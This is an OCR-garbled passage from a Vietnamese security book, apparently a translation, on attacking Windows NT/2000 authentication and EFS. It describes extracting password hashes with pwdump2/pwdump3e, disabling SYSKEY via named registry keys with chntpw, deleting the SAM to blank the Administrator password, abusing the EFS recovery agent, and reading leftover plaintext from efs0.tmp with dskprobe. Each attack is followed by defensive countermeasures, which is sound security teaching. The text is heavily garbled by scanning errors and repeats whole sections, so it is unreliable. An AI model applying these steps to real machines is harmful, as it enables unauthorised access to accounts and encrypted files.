biang cach s& dung tién ich NTFSDOS dé bi ton thuong trén dia chi: http:/
www._sysinternals.com/. M6t ban sao tép tin SAM van };uat hién trong \%gdc
hé thong%)\ sira chita (tén “SAM” duoc thay bang ‘SAM_” nhu trong NT 4),
va tép tin d6 bao gdm tat cd ngudi st dung ciu hinh trong mét hé thong khi
cal dit. Tién ich rdisk duoc tich hop vao Microsoft Backup v.5 trng dung
(ntbackup. exe), tep tin co mot chirc nang tao dia sua khén cﬁp. Khi lénh
Create Emergency Repair Disk duoc chon, hop thoar hoi: thong tin co sao

chep sang thu muc sua hay khong nhu dwoi day:

lrvsest & blork, formatted Roppy ik irdo divve A and chek OF.

[7 Alo backup Be registy 1o the repad deecton. Ths backup
car bn LEed to heln et wond Syslem f the nogeiipas
a0

Lk

[ arcs

i

Néu dong ¥ su lwa chon dé, Registry, bao gom tap hop SAM, duoc sao chép
sang %windir% \stra\ danh muc RegBack. Cac thanh vién cua nhom Users co
truy cap Read vd1 danh muc do, va cac thanh vién cia Power Users co truy
cap Modity néu b dia hé théng duoc dinh dang NTFS mac du chi Power Users
c6 truy cip bd sung véi tép tin d6, chir Users thi khdng. Cac vu tin cdéng ban
sa0 SAM phéin nao duoc gidm nhe do tép tin d6 1a SYSKEYed, va cac k§
thuat gia1 ma mot tép tin SYSKEYed (tra1 vo1 pwdump2ing mot SAM nong
khong duoc phat ra tu nhien.)

Chu y:Tép tin SAM Windows 2000 dugcla SYSKEY mic dinh (xem phﬁn
sau) va phai duoc trich loc ra cung vo1 pwdump?2 hoac 3.

8 Gir Clean Repair\Thw Muc RegBack

Luu v khong lay bat ky mot co hoi nao — di -::huyen nhung file nay t&i mot o dia co
thé xoa duoc hay toi mot diem bao mat thay the, va khong @ nhig file nay vao thu muc
RegBack. Tuy nhién, tot hon hét ban khong nén chon Backup Reglstry Locally klu dang
chay hen ich Cr cate Emergency Repair Disk (Tao dia khéi dong khan cap).

® Két Xuat File Roi Véi PwdumpX
Tinh  pho  bién
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SYSKEY gio day la cau hinh mic dinh cho Windows 2000 (Xem muc
KB Q14375 va chuong 5 dé biét hiéu thém vé SYSKEY). Vi vay, cdéng cu
pwdump khong thé trich xuit chinh xac hét nhitmg mat khau tir muc Registry
trong nhiimg sin pham may cht cé cai Windows 2000. Pé thuc hién cong viée
nay can co pwdump2 (xem chuong 5 dé hiéu thém vé pwdump va pwdump?2,
va tai sao pwdump lai khong thé thuc hién chmng SYSKEY). Hon nita, viec
trich xuat thdng tin cuc bd tir trinh diéu khién mién can c6 phién ban méi nhat
cua pwdump?2 (tai http://razor. bindview.com) vi nhitng thong tin nay phu
thudc vao Active Directory (thu muc dong) dé luu trix nhirng mat khau hon 1a
phu thuoc vao SAM nhu truoc day.

Cong nghe kinh doanh dién tu, inc., vora cho ra mot phién ban cong cu
pwdump2 gbc cia Todd Sabin cé tén pwdump3e (http:/www.ebiz-
tech.com/html/pwdump.html). Pwdump3e cai dit samdump DLL nhu mot
dich vu dé trich xuit thong tin tir xa qua SMB (TCP 139 hay 445). Pwdump3e
s€ khong hoat dong trén hé tht'f'ing cuc bo.

@ Bien Phap Poi Phé pwdumpX

S¢€ khung c6 can tré doi voi pwdump?2 hodc pwdump3e néu cai dit DLL
khong hoat dong trong Windows. Tuy nhién pwdumpX can phai co dac quyén
cia Administrator dé thé hoat dong va no phai duoc chay trong mang cuc bo.
Néu ké tan cong danh duoc loi thé nay, chung co thé dat duoc muc dich trén
he thcrng cuc bo. (Tuy nhién st dung st lieu tr SAM dé tan cong he thc:-ng
giao pho lai la mot van de khac).

® Nhap Thnng tin vao SAM bang chntpw
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Néu ké tan cong danh duoc truy cap vat ly vao mot hé thong, cung vai thoi
diém it duoc chu ¥ tuong ximg dé khéi chay no sang mot he diéu hanh khac,
chung c6 thé thuc hién duoc mot cude tan cong tinh vi dwoc Petter Nordahl-
Hagen mo ta ta1 trang http://home.eunet.no/~pnordahl/ntpasswd/. Trong hang
loat trang lien két cua trang nay, Petter dua ra mot sb nhitng dan ching gay
chuy, bao gf:}m:




Nhu:ng thong tin phan tach co6 the duoc dua vao SAM ngoai tuyen, cho phép bat cit ai
c6 thé thay ddi mat khau ctia ngudi st dung hé thong do.

Petter tiép tuc mot mo ta va cung cap nhitng cong cu dé tao 1ap mot dia mén
khéi dong Linux c6 thé st dung dé duoc khéi dong lai mot hé thong N'T/2000,
thay d6i mat khiu Administrator (thAm chi mat khau nay d3 duoc ddi tén),
khéi dong, va sau d6 ding nhap véi mot mat khau méi. Sau day 1a mot su két
hop thu vi:

Tinh nang nhap chi hoat dong ngay ca trong truwong hop dd ung dung
SYSKEY va tién hanh lwa chon bao vé SYSKEY bang mét mdt khau va liwu trén
mot dia mém

“Poi mot gidy”, chung tdi duoc biét ring : “SYSKEY fip dung vong ma hoa
thir hai 128 bit d6i véi nhing thong tin phan tach mat khau st dung mét khoa
duy nhat duoc luu trong Reglstry von duoc bio vé tuy chon bing mot mat
khau, hay duoc luu trong dia mém (xem chuong 5). Lam sao mot nguo1 co thé
cho nhiing thong tin phan tach vao ma khong biét khod hé thong dwoc dung dé
tao ra chung?”

Petter d3 tim ra cach tit SYSKEY. Nghiém trong hon, dng d3 phat hién ra
ring s& khong phéi thuc hién diéu d6 - nhitng thong tin phan tach kiéu cli nhap
trong SAM sé& tu déng chuyén d6i thanh dang SYSKEY hoa ngay khi khoi
dong la1 hé thﬂng Chiing ta phai khim phuc Peter vé phat kién thiét ké doi
chiéu nay. Cul dau bai phuc Peter!

1. Thiét 1ap HKLM\System\CurrentControlSet\Control\Lsa\SecureBoot vé
0 dé lam v6 hiéu hoa SYSKEY (nhitng gia tr1 co thé ap dung cho khoa
nay la O — vo hiéu hoa; va 1 — khoa chua duoc bao mat duoc luu trong
Registry; 2 — khoa d3 bao mat bang cum méat khau trong Registry; 3 —
khoa duoc luu trong dia mém.)

2. Thay d61i mdt co hiéu dic ta trong HKLM\SAM\Domains\Account\F cau
tric nhi phan sang mo6t hinh thuc twong tu nhu SecureBoot trudc day.
Trong khi toan hé thong dang hoat dong, khoa nay khong thé tiép can md
duoc.

3. Chi néng trong Windows 2000, khoa <mac dinh> trong
HKILM\security\Policy\PolSecretEncryptionKey can phai doi sang gia tri
twong tu nhu hai khoa truoc.

Theo Petter, chi thay ddi mét trong hai gia tri dau trong NT4 1én téi nhitng
gia tri SP6 s& xay ra su khong nhit quan gitta SAM va nhitng thiét 1ap hé
thong khi khéi dong ket thuc,va SYSKEY duoc tai thiét 1ap. Trong Windows
2000, su khong nhat quan gilta ba khoa nay duwong nhu duoc thiét lap lai véi
g1a tr1 co thé nhat khi khéi dong la1.

CANH BAO: St dung nhiing k§ thuit nay co thé din dén SAM bi hu hai,
hodc khong dung duoc nita. Khi nhitng k¥ thuat nay khong khoi dong la1 duoc



nita, chiing ta méi thir nghiém chting trén phan cai dit NT/2000. Cha v khong
nén chon Disable SYSKEY trong muc chntpw trong Windows 2000. Nhiing

phan ung cuc ky nguy hai c6 thé say ra khi thuc hién k¥ thuat nay, va thuong
phai tuan hanh cai dit lai tir dau.

CHU Y: Ky thuét nay s& khong thay dm nhitng mit khau chuwong muc ddi
twong sur dung trong trinh diéu khién mién c6 cai dit Windows 2000 vi n6 chi
nhim vao file SAM d3 hong. Vé DC, nhitng thong tin phan tach mat khau
duoc lvu trong Thu Muc Pong, chir khong luu trong SAM.

@ Bién Phap Poi Pho pwdumpX

Car dat DLL khong hoat dong trong Windows s€ khong can tré pwdump?2
hoidc pwdump3e. Tuy nhién pwdumpX can c6 dic quyén cia Administrator dé
hoat dong va noé phai duoc chay trong mdi trudng mang cuc bo. Néu ké tin
cong danh duoc loi thé nay, ching cé thé dat duwoc muc dich trén hé thong cuc
bo. (Tuy nhién st dung sit liéu tir SAM dé tan cong hé thong 1a mét van dé
khac).

® Nhap Thong tin vao SAM bang chntpw
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Néu ké tin cong di truy nhap vat Iy vao mot hé théng, ching cé thé thuc
hién duoc mot cudc tAn cong tinh vi, duoc Petter Nordahl-Hagen gio1 thiéu
trén dia chi http://home.eunet.no/~pnordahl/ntpasswd/. Trong hang loat trang
lien két trén dia chi nay, Petter dua ra mot $O nhitng dan chimg gay chu y, bao
gom:

Nhiing tlmng tin phan tach co thé duge dua vao SAM ngoai tuyén, cho phép bat cit ai
cling co thé thay doi mat khau ctia nguoi st dung hé thong do.

Petter tiép tuc mot mo ta va cung cﬁp nhitng cong cu dé tao lap mot dia meém
khéi dong Linux cé thé st dung dé duoc khai dong lai mot hé thong N'T/2000,
thay d61 mat khau Administrator (thAm chi mat khau nay di duoc doi tén),
khéi dong, va sau d6 ding nhip véi mot mat khiu méi. Sau day 1a mot su két
hop thu vi:



Tinh nang nhap chi hoat dong ngay ca trong truwong hop dd ung dung
SYSKEY va tién hanh lwa chon bao vé SYSKEY bang mét mdt khau va luu trén
mot dia mém

“Poi mot gidy”, chung toi duoc biét ring : “SYSKEY ap dung vong m3 héa

thir hai 128 bit d6i véi nhung thong tin phan tach mat khau st dung mot khoa
duy nhat dwoc luu trong Registry, von duoc bao vé tuy chon bing mot mat
khau, hay duoc luu trong dia mém (xem chuong 5). Lam sao mo6t ngudi ¢o the
cho nhiing thong tin phin tach vao ma khdng biét kho4 hé thong duoc dung dé
tao ra chung?”

Petter da tim ra cach tit SYSKEY. Nghiém trong hon, ong da phat hién ra
rang nhitng thong tin phén tach kiéu cfi nhip trong SAM sé& tu dong chuyén
d6i thanh dang SYSKEY ngay khi kho1 dong la1 he thong. Chung ta phai
kham phuc Peter vé phat kién thiét ké d6i chiéu nay. Xin cti dau béi phuc
Peter!

4. Thiét lap HKLM\System\CurrentControlSet\Control'\Lsa\SecureBoot veé
0 dé lam v6 hiéu hoa SYSKEY (nhitng gia tri cé thé ap dung cho khoa
nay la O — vo hiéu hoa; va 1 — khoa chua duoc bao mat duoc luu trong
Registry; 2 — khoa d3 bao mat bing cum mat khau trong Registry; 3 —
khoa duoc luu trong dia mém.)

5. Thay do1 mot co hiéu dic ta trong HKLM\SAM\Domains\Account\F cau
tric nhi phan sang mét hinh thuc twong tu nhu SecureBoot trude day.
Trong khi toan hé thong dang hoat dong, kho4 nay khong thé tiép cin mé
duoc.

6. Chi rneéng trong Windows 2000, khoa <mac dinh> trong
HKILM\security\Policy\PolSecretEncryptionKey can phai doi sang gia tri
twong tu nhu hai khoa truoc.

Theo Petter, chi thay ddi mét trong hai gia tri dau trong NT4 1én t6i nhitng
gla tr1 SP6 thi s€ gay ra su thIlg nhat quan giita SAM va nhl.mg thiét lap he
tthg kh1 qua trinh kho1 dong két thuc,va SYSKEY duoc tai thiét lap. Trong
Windows 2000, su khong nhat quan gifta ba khoa nay duong nhu duoc tai
thiét 1ap bang gia tri c6 thé nhat khi khéi dong lai.

CANH BAO: St dung nhiing k§ thuat nay cé thé khién SAM bi hu hai, hoic
hong hoan toan. Khi nhitng k¥ thuat nay khong khot dong lai dugc nita, chung
ta moi thit nghiém chung trén phan cai dit NT/2000. Chu v khong nén chon
Disable SYSKEY trong muc chntpw trong Windows 2000. Nhitng phan Ung
cuc ky nguy hai c6 thé xay ra khi ap dung k¥ thuit nay, va thuong phai tién
hanh cai1 dat la1 twr dau.

CHU Y:K¥ thuit nay sé khong thay déi nhitng mat khau chwong muc doi
twong su dung trong trinh diéu khién mién co cai dit Windows 2000 vi né chi
nhim vao file SAM d3 hong. Vé DC, nhting thong tin phan tach mat khau
duoc lvu trong Thu Muc Pong, chir khong luu trong SAM.



@ Nhirng Bi¢n Phap Poi Pho chntpw
Khi ke tan cong da thuc hien dwoc truy xuat vat 1y khﬂﬂg han che téi mot he thong,
chung ta van c¢6 mot so bién phap d6i pho tau cong kiéu na}' Cong viéc khao sat dau tién la
thiet 1ap SYSKEY tao thanh su can thiép can thiét vao qua trinh kho1 dong hé thﬂng bang
cach nllap mot mat khau hodac mot khoa hé thong tir dia mém (xem chuong 5 de blEt them

chi tiét vé ba hinh thae cua SYSKEY) Vi vay, ngay ca klu ke tan cong muon thiét 1ap lai
mat khau Administrator thi van phai nhap mat khau SYSKEY dé khdi dong hé thong. Tat

nhién, ké tan cong van co thé sit dung chntpw de vo hiéu hoa toan bd SYSKEY, nhung
chiing co thé gay hong hé thong muc tiéu néu la Windows 2000.

Gia su Petter dd vO hi€u hoa toan bo SYSKEY, lua chon duy nhat vo1 hé nhi
phan Ghntpw—dleu oi s& xay ra néu né duoc thiét lap vé 1 thay vi vé 0, dé luu
kho4 hé thong trong mang cuc bd. Piéu nay c¢é thé v hiéu hoa ché do bao vé
SYSKEY dang password-hodc ploppy, lam bién phap d6i phé nay tré nén vo
dung. B6 mi gbc cho chntpw cé trén trang Web ciia Petter ... va cach thirc st
dung hiéu qué chntpw trong ché dd hiéu chinh Registry ciing dwoc gidi thiéu
trén cung dia chi nay.

Néu khong c6 ché dd bao mat ciia SYSKEY dang password hoic ploppy,
ban phai dua vao nhitng thu thuat bao mat cli, nhu dam bao nhitng hé thé:ﬂg
quan trong phai duoc bao mat vat ly va thiét lap mat ma BIOS hoac vo hieu
hoa nhiing truy xuat tir 6 dia mém 1én hé th{:”:ng.

® XOA SAM TRONG VA MAT KHAU ADMINISTRATOR
Tinh pho bién 4
Tinh don gian 5

. Tinh hiéu qua 10
Mucdoruiro 6

Vao ngay 25/7/1999, James J. Grace va Thomas S. V. Bartlett III cong bo
mot tai liéu gay chu ¥ mo ta cach thirc xo4 mat khau Administrator nho khéi
dong mot hé dieu hanh thay thé va xoa file SAM (Xem tai trang
http://www. dﬁepqucst pf/win32/win2k efs txt). Néu can truy nhap vat ly
khong qua kiém soat va cac tinh ning san cé cla cac cong cu viét cac muc
NTFS (vi du, NTFSDOS Pro ¢6 tai1 http:// www.sysinternals.com), thi k§ thuat
nay co ban s& nghiém nhién di qua hé thdng an ninh cuc bd trén N'T/2000.

Mic du k§ thuat d3 duoc gidi thidu nay dé cap den sut cal dat cua mot ban
sao thir hai ctia NT hodc 2000 cing véi mdt ban gbc, nhung viée 1am nay
khong thuc su can thiét néu ké tan cong chi muén pha héng mat khau chuong
muc cua Administrator. Luc do SAM dugc xoa mot cach dé dang.

Cach thuc tan cong nay co thé dan dén mdt sb tac hai nghiém trong den
Encryptmg File System (Heé Th{:}ng File ma hoa), s€ duoc gio1 thieu chi tiét &
phan sau.




SIS 10BY Nhimg trinh diéu khién mién Windows 2000 khéng bi anh hudng
khi SAM bi x04 vi chung khong luu gitt nhitng théng tin phan tach mat khau
trong SAM. Tuy nhién, nhu'ng phén tich cua Grace va Bartlett chi ra mét co
ché danh duoc két qua can thiét tuong tu trén nhiing trinh diéu khién mién nho
cal dat mét ban sao Windows 2000.

® Ngirng qua trinh Xoa SAM Ngoai Tuyén

Nhu chung ta da biét, phuwong phéap duy nhat dé budc dau gidm thiéu hiu qua
do cudc tan cong kleu nay la dinh cau hinh cho Windows 2000 dé khoi chay
trong SYSKEY ¢ ché d6 password hodc ploppy. Mot sO cach hiéu qua khac dé
ngin can tan céng mat khau ngoai tuyen la g1t cho may chu duoc bao mat vat
ly, di do1 hay lam vo hieu hoa nhitng 0 dia kho1 dong, hodac xay dung lai mot
mat khau trong BIOS nhap vao truoc khi khot dong lai1 he théng. Chung to1
khuyén cic ban nén st dung tat ca nhitng co ché nay.

Hé Thong File Ma Hoa (EFS)

Mot trong nhiing trong diém cua van dé bao mat trong Windows 2000 la Hé
Théng M3 Hoa File (EFS). EFS 1a mot hé thong dua trén co cau khoa bao mat
chung nhim mi héa dit lidu trén dia tai mot thoi diém nhat dinh véi muc dich
ngan chan tin tac tiép cin he thr}ng Hang Microsoft da tung ra mot bo tai liéu
cung cap thong tin chi tiét vé co ché hoat dong cia EFS. White paper nay
duoc g101 thiéu trén dia chi
http://www.microsoft.com/window s2000itechmfﬂfhmwitwnrksfsecurltvfencwp
t.asp. EFS co thé m3a ho4 mot file hay thu muc vo1 mot co ché thuat toan ma
hoa, dbi xung, va nhanh chong sur dung mot khoa ma hoa file (FEK) duoc tao
ra ngau nhién dic trung cho file hay thu muc. Phién ban EFS dau tién sit dung
Tiéu Chuin M3 Ho4 Dir Liéu Mﬁr Rong (DESX) nhu mot thuat toan ma hoa.
Khdéa mi hoa file duoc tao ra ngau nhién sau do la1 tu dﬂng ma hoa vo1 mot
hav nhiéu khod m3 hoa dung chung, bao gmn khoa cta dbi trong st dung
(mbi do6i trong st dung Windows 2000 déu nhan duoc mot mat khau dung
chung/ca nhin) va mot tic nhin phuc héi mat khau (RA). Nhitng gia tri di
duoc ma hoa duoc luu duoil dang thudce tinh cua file.

V1 du tac nhan phuc hoi mat khau duoc kich hoat trong truong hop nguon s
dung m3 hoa mot s6 dit liéu nhay cam bé mot hé thong hay nhitng mat khau
m3 hoa cta ho bi mat. Pé tranh truong hop mat dit liéu d3 ma hoa khong the
phuc hoéi duoc, Windows 2000 tao ra mot tac nhan phuc hoi dit lidu cho
EFS—EFS s€ khong hoat dong néu khéng c6 mét tac nhan phuc hoi. Mot tac
nhan phuc hoi c6 thé m3 hoé ndi dung file dé ma khong can mat khiu ca nhan
cta dbi twong st dung vi FEK d6c 1ap hoan toan véi mat khau dung chung
hay c4 nhan cta d6i twong st dung. Tac nhin phuc héi dit liéu mic dinh cho
mot he thé-ng la chuong muc administrator cuc bo.




Mic du EFS cé thé rat hitu hiéu trong nhiéu truomg hop, nhung né khong
phat huy tiac dung néu lam viéc véi nhitng d6i tuwong st dung & cung mdt
Workstation nhim bao vé file. D6 chinh la tinh nang hoat dong cua danh sach
diéu khien truy cap (ACL) hé thong file NTFS. Microsoft da dit EFS vao mot
v1 tr1 nhu mot tang bao vé chong lai nhitng cudc tan cong & nhitng v1 tri NTFS
bi hdng. Vi du, bing cach khéi dong nhiing He Bmu Hanh thay thé va st dung
nhitng cong cu thudc nhém ba dé truy cip vao 6 dia cung, hay nhiing file luu
trong may chu tir xa. Thue ra, bo ta1 lieu cua Microsoft vé EFS tap trung vao
chu dé “EFS €O thé gial quve.t nhling van de bao mat dua trén cac cong cu co
trén cac hé diéu hanh khac. Nhing hé diéu hanh nay cho phep doi tuong su
dung truy cap vat ly cac file tuy mot muc NTFS ma khong can co Sur kiém tra
truy cip”. Ching ta s& tim hiéu 3 van dé nay & phan sau.

Chwrc nang cua Hé thong bao mat tép tin EFS

He thﬁng ma hoa tép EFS co thé duoc dung dé bao mat teép hay thu muc trén
man hinh Properties bing cich s& dung phim Tab, nhin Advanced. Ngoai ra
cong cu lap ma dong lenh co thé con duoc st dung dé lap ma va gia1 ma file.
Panh dong lénh: Type cipher /?° vao dau nhic hé thc:-ng

Mac du cac tép co thé cé mat khau riéng, nhung hé thﬂng bao mat EFS cua
hing Microsoft con cung cap thém bién phap bio mét ngay trén thu muc. Li
do la do1 kh1 mat ma lap ta1 file khong co tac dung va co tao ra dang van ban
thuan tujf hon nita tep tin nay khong cho phép nén.

Nho co su trg giup cua Windows 2000 doi voi EFS, ban sé c6 duoc nhimg k¥ ning can
thiét dé st dung Hé thong EFS tot hon.

Chu y: Can thin trong khi dung lénh ‘cut’ dé di chuyén tép d3 duoc ma
hoa. Mic du co ché sao luu chuan (vi du nhu: ntbackup.exe) s& thuc hién Sa0
luu béan chinh, nhung 1€nh sao chép thong thuong lai chi doc nhiing thong sO
tép gbc dudi hinh thie di gidi m3. Néu diém dich cda tép duoc di chuyén
khong phai la khu vue lvu trt NTES 5.0, thi tép tin duoc di chuyén nay s& &
dang vin ban thuan tuy. Néu diém dich ctia tép duwoc di chuyén 1a khu vue luu
trit NTFS 5.0, thi tép tin nay van duoc gitt nguyeén ma bao mat nhung sé€ khac
nguven ban. Tep tin s€ dwoc g1t nguyen néu dung mot khoa bao mat (FEK)
méi. Can luu v ring Hé thong bao mat tin EFS chi bao mat tep tin khi tep
duoc luu trén dia, tép sé& khong duoc khod ma néu post 1én mang.

Vo hi¢u hoa khoa khoi phuc EFS
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Chung ta tiép tuc nghién ctru tai liéu ma Grace va Bartlet gidi thiéu & phan
trwoc tal dia chi http://www.deepquest.pf/win32/win2k efs.txt , kha nang ghi
chen dit liéu lén ma chuong muc Administrator duoc thuc hién trén mot pham
vi rong hon khi may ngam hiéu Administrator 1a mot tdc nhan phuc hoi ma
mic dinh (RA). Khi d3 d6t nhap thanh cong vao mot hé thong bing mot mat
m3 Administrator trong, cac tép tin duwoc ma hoa dudi dang EFS sé tu dong
giai m3 khi mé tép tin, tir d6 cé thé dung chinh mat khau khoi phuc ma dé truy
cap cac tép da b1 ma hoa.

V1 sao chuc nang nay hoat dong? Hay nho lai cach thuc hoat dong cua hé

thong ma hoa tep: Mat khau m3 hoa tep (cling dung dé giai m3 tép) duoc thlet
lap ngiu nhién cling cé thé tw 14p ma bing nhitng phim khéc, va nhitng bién s6
m3 hoa nay dwoc luu trit nhu nhitng thudc tinh tép. FEK duoc 1ap mi bing
nhitng khod chung ctia khach hang (mdi khach hang s& dung hé diéu hanh
Windows 2000 s& nhin duoc mot mat khau ca nhin hay mat khau dung
chung) duoc luu duol dang thuoc tinh tép go1 la Trwong Giar Ma D& Lieu
(DDF) duoc két hop véi tép tin. Khi nguoi dung truy cap vao tép tin nay, mi
céc nhin cia ngudi ay sé gidl m3 DDF, va sé tim duoc FEK dé giai mi tép tin
d6. Nhitng bién sb6 thu duoc tir viéc giai ma FEK cung v&i m3 tac nhan phuc
hoi s& duoc luu dudi dang thudc tinh cé tén Truong Phuc Hoi Dit Liéu (DRF).
Vi vy, néu Administrator cuc bd 1a tac nhan phuc hoi d3 xac dinh (thuong
mic dinh), thi bat ky ai c6 m3 Administrator trong hé thong nay sé& cé thé giai
m3 DRF bing mat khau ca nhin cia minh dé roi giai luén ca m3 FEK, day
chinh 1a chia khoa dé giai ma cac tép tin duoc bao mat dudi dang EFS.
Xéa uy nhiem Tac nhan Phuc hoi Hay xem diéu gi xay ra néu tic nhin
phuc héi duoc giao cho nguo1 khac ma khong phai la Administrator? Grace
va Bartlett s& cung cap cho cac ban bién phap dbi pho bing mot chwong trinh
chay ngay khi khéi déng may va xac 1ap lai mat m3 cho bat ky mét chwong
muc nao da dugc xac dinh la tac nhan phuc hoi.

Tat nhién mét ké dot nhip khong can chi tap chung vao tac nhan phuc
hoi vi né chi nhat thoi tao ra mot phuong thurc dé tiep can nhat d6i véi céc tep
d3 bi m3 hoa trén dia. Mot cach khac dé tranh xung dot véi tac nhan phuc hoi
duoc uy thac la gia dang lam nguol ma hoa tép do. St dung chntpw (xem
phan trudc), moi mi chuwong muc clia ngudi st dung déu cé thé xac lap lai




bang hinh thirc tan cong ngoai tuyén. Khi dé ké tan cong co thé dot nhap vao
hé thong khi nguoi st dung m3 hoa DDF ¢6 lién két 4o véi m3 ca nhén cua
ngudi do, sau d6 giai m3 FEK va tép tin. Ching ta ciing khong can dung dén
ma ca nhan cua tac nhan phuc hoi dit liéu.
@ Xuat khau cic khoéa phuc hoi va luu trit an toan cac khéa nay

Grace va Bartlett s& budc hé thong Microsoft phai cho phep ma EFS
duoc giai, nhung dot nhap lam giam nguy co rui do bang cach xac nhan cudc
tAn cdng sé& that bai néu thu thuat chuyén giao ma phuc hdi bi phat hién. (Xem
trang: http:// www.microsoft.com/
technet/treeview/default.asp ?url=/technet/itsolutions/security/topics/efs/asp ).

Tuy viy phan m6 td qua trinh x@ 1y dit liéu cia hang Microsoft trong
trang nay da qua lac hau, va cac tep tin tro giup EFS cu the khong the chi ra
cach thirc thue hién. Pé truy xuat cc tép chira tac nhan phuc hdi trén nhiing
he théng ddc lap, m¢d trang Group Policy (gpedit. msc), tim td1 nhan Computer
Contfiguration\Windows Settings\Security Setting\Public Key
Policies\Encryted Data Recovery Agents, tich chudt phai vao tac nhan phuc
hoi bén 6 phai ( thuong day la Administrator), va chon All Tasks/Export. Xem
bang sau:
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Mot thuat si s€ duoc mo ra va qua do hang loat dé muc thong tin truoc
khi truy xuat duoc mat mi. Dé sao luu m3 tic nhan phuc hoi, ban phai truy
xuit c4 m3 ca nhan kém theo trang chira m3, va ban nén tao l.ﬁp mot hé théng
bao v€ nghiém ngat (do1 ho1 mot mat khau). Cubi cung ban nén XOA BO MA
CA NHAN NEU PA THANH CONG. Budc cudi cung la vo hiéu hoa khoa

gidi mi tac nhan phuc hoi thu duoc tir hé théng cuc bd.

CANH BAO: Chu v x04 toan b trang chira tic nhan phuc hdi trong 6 phai
cla thuat si. Diéu nay s& lam cho EFS trong Windows 2000 khong con 1a tac
nhéin phuc hdi nita. Hudng din sau diy s& cho thiy diéu gi xay ra khi EFS
duoc dung nhung khong c6 mi tac nhian phuc hdi N6 khong hoat dong duoc.
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®SLIBY Nhitng muc da bi khoa ma truéc khi xoa tic nhan phuc héi van
bi ma hoa, nhung ching sé chi duoc khi nguoi st dung khoi phuc duoc
ma RA da luu twr truoc.

Péi véi nhitg may két noi mang mién, cach thtrc c6 hoi khac: may chu
mién nay s& luu tri tit cd ma phuc hoi hé thﬂng cho cac may trong mién. Khi
mot may dung Windows 2000 két mang mién, Hé Thc:-ng Quan Ly Ma Phuc
Ho6i Mic Pinh Trong Mién sé& tu dong lam viéc. Administrator ctia mién do,
chir khéng phai 1a Administrator cuc bd, sé& tré thanh tac nhan phuc hoi. Tir d6
Administrator s€ phan tach cac ma phuc hoi tir nhimg dit liéu d3 m3 hoa khién
moi cudc tin cong cua Grace va Bartlett tro nén kho khan hon. Do cling la
mot thu thuat dé truy xuat trang chua tac nhan phuc hoi tir may chi mien do.
Neu nhu cac tac nhan nay bi la ton thuong, thi mo1 hé thong trong mién cling
rat dé b1 anh huong néu nhu ma phuc hoi cé & céc may cuc bo.

®SLRY Hing Microsoft cling xac nhan trong mot trang “analefs” rang van dé
xo0a bo SAM, lam cho mat khau ctia Administrator bi xac 1ap lai thanh gia tri
trong, co thé gial quyét nhd SYSKEY. Chung toi d3 chimg minh diéu nay
hoan toan khéng dung trir phi m3 SYSKEY hoic ché d6 can & 6 dia mém
duoc tai xac 13p. (Trong trang nay ching ta khong dé cap dén diéu do.)

® Phuc Hoi Dir Liéu Tép Tam Thoi EFS
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Vao ngay 19-1-2001, Richard Berglind ding tai mot nghién ctru rat thu
v1 lén trang danh sach thu bao mat. Su viéc la & cho khi mot tép tin duoc chon
dé m3 hoé bﬁng EFS, nhung cudi cung no van chua duoc bao mat. Thuc ra
mot ban sao luu cua tép tin do da duoc chuyén to1 mot thue muc tam thoi va
duoc ddi tén thanh efsO.tmp. Sau d6 nhimg dit lidu tir tép tin nay dwoc m3 hoa



va thay thé cho tép tin gbc. Tép tin sao luu s& tw dong xo4 sau khi két thic qua
trinh ma hoa.

Tuy nhién, sau khi tf.’:p tin sao luu thay thé tép tin goc va tep tin tam thon
duoc x6a bd, nhitng khdi can vat Iy trong hé thong tép tin, noi cac tép tin tam
thoi thuong tra khong bao gior bi xo4 sach. Nhitng khoi nay chira dit liéu goc
chwa ma hoa. Phuong thirc xoa tép tin tam thoi cling twong tw nhw cach xoa
bat ky mot tép tin nao khac. Mot muc nhap trong bang tép tin chii duoc danh
diu rdng va céc lién cung noi luu trit céc tép duoc danh dau hién thi, nhung
tép tin vat ly va thong tin no chua dung s€ ¢ dang van ban géc duoc luu trén
mat dia vat ly. Khi cac tép tin mo1 duoc bd xung vao vung luu trén dia, cac
thong tin cia tép s& dan bi ghi chén; nhung néu tép tin duoc m3 hoa qua 16n,
thi tép tin nay van duoc luu téi hang thang sau (tuy thudc vao dung luong
dia).

Tré la1 vol nghién ctru cuia Richard, hang Microsoft khging dinh truong
hop nay la do thiét ké ddc trung cho tép cé nhin dung EFS dé bdo mat, va chi
ra nhu'ng khc:sang tring ctia EFS s& gii thich moi van dé rd rang. Hang cling
go1 y mot s6 thu thuat nhim tranh nhiing truong hop nhu trén va ring sé
nghién ctru k§ hon van dé nay.

Cach thtrc hoat dong cta chuong trinh nay khi doc cac dit liéu b1 ma
hoa dudi dang EFS nhu thé nao? Mot trinh duyét cap thap s& truy xuat dit liéu
mdt cach dé dang, vi du nhu trinh duyét dskprobe.exe ctia Cong cu hd tro ¢é
trén CD cai dat Windows 2000. Trinh duyét nay cho phép nguor st dung co
thé dé dang truy cip may chi va truy xuat dit liéu tép tin d3 bi mi hoa. Chung
ta s& tim hiéu cach s dung trinh duyét dskprobe dé doc tép tin efsO.tmp sau
day.

Bau tien, chay chuong trinh dskprobe va m¢ mot 6 dia vat Iy thich hop
dé truy xuat dtt liéu bang cach chon Drives/Physical Drive va click chuot phai
vao mot 6 thich hcfp tr:::-ng phan trén, goc trai cira s6 hién thi. Sau do, click vao
nhan Set Active gan 6 ban chon sau khi hién thi trong phan ‘Handle 0” cua
hop thoai.

Sau khi hoan thanh budc thir nhat, ké tiép budc thir hai ban phéi dinh vi
cung thich hop chtra nhiing dit iéu mudn nhan dang. Pinh v1 cac tép trén mot
o dia vat 1y la mot cong viée cuc ky khé khin, tuy nhién ban cé thé st dung
lénh Tools/Search Sectors cia trinh duyét dskprobe dé hd tro cong viéc tim
kiém nay. Trong vi du & hinh 6-3, chung ta tim kiém chudi ky tu “efs0.tmp”
trong céc phan cung tir 0 dén diém két ctia dfa. Ban ciing nén click chon muc
Exhaustive Search, céc kiéu chit in hoa hay in thuong (Ignore Case), va kiéu
chit Unicode. (Sur dung ASCII thuong khong cho ket qua).

Budc ba khi hoat dong tim kiém két thuc, néu EFS di duoc st dung dé
l4p m3 tép trén dia dang duwoc phan tich, va néu tep efsO.tmp khong b1 ghi de
do cac thao tic hoat dong cla dia, thi diy da néi dung tim kiém s& hién thi
trén giao dién dskprobe. Cong viéc tim kiém chudi ky tu “efsO.tmp” sé thé



hién cac phan khac trén dia cling chia chudi ky tu d6. (mdt tép cé tén
“efs0.log” cling chira tham chiéu duong din day da tdi tép efsO.tmp). Mot
